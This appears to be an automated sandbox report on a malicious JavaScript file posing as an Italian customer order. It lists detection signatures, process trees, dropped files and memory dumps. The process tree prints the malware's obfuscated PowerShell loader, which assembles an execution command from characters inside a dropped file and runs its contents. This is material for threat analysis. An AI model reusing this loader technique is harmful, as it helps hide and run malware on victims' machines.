Analysis
- max time kernel
148s - max time network
116s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
15/07/2026, 07:28
General
- Target Ordine da clienti ITALIA - 6320.js
- Size 220KB
- Sample260715-ja2h7set9q
- SHA256 791b77c7ccb414a3edf27fc19ad2af606463b520c201f528235e02d9abca2fa8
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops file in System32 directory 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Ordine da clienti ITALIA - 6320.js"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "$Trag='/app'+'data';$Affronte=gc ($home+$Trag+'/local/Unders');$Tradition181=$Affronte[3426]+$Affronte[3427]+$Affronte[3428]; . ($Tradition181) $Affronte"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Trag='/app'+'data';$Affronte=gc ($home+$Trag+'/local/Unders');$Tradition181=$Affronte[3426]+$Affronte[3427]+$Affronte[3428]; . ($Tradition181) $Affronte"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Fiske.Sup
Unders
tmp.txt
memory/4472-1686-0x0000000007870000-0x0000000007906000-memory.dmp
memory/4472-1684-0x0000000006900000-0x000000000694C000-memory.dmp
memory/4472-7226-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/4472-7224-0x000000000B200000-0x00000000107CB000-memory.dmp
memory/4472-4069-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/4472-3484-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/4472-3482-0x0000000074EC2000-0x0000000074EC3000-memory.dmp
memory/4472-1690-0x0000000008B80000-0x00000000091FC000-memory.dmp
memory/4472-1689-0x0000000007F40000-0x00000000084FA000-memory.dmp
memory/4472-1688-0x0000000006E60000-0x0000000006E82000-memory.dmp
memory/4472-1687-0x0000000006E10000-0x0000000006E2A000-memory.dmp
memory/4472-1678-0x0000000005BF0000-0x0000000005C56000-memory.dmp
memory/4472-1683-0x00000000068C0000-0x00000000068DE000-memory.dmp
memory/4472-1681-0x00000000064B0000-0x000000000680B000-memory.dmp
memory/4472-1677-0x0000000005B80000-0x0000000005BE6000-memory.dmp
memory/4472-1671-0x0000000074EC2000-0x0000000074EC3000-memory.dmp
memory/4472-1672-0x0000000003060000-0x0000000003096000-memory.dmp
memory/4472-1673-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/4472-1675-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/4472-1674-0x0000000005DF0000-0x000000000643A000-memory.dmp
memory/4472-1676-0x0000000005AE0000-0x0000000005B02000-memory.dmp
memory/4592-667-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-1670-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-1241-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-7-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-1240-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-886-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-6-0x0000021E26510000-0x0000021E26532000-memory.dmp
memory/4592-1-0x00007FFD368DF000-0x00007FFD368E0000-memory.dmp
memory/4592-9-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-5-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-8-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-15-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-2-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-14-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-12-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-13-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-11-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp
memory/4592-10-0x00007FFD36750000-0x00007FFD370F4000-memory.dmp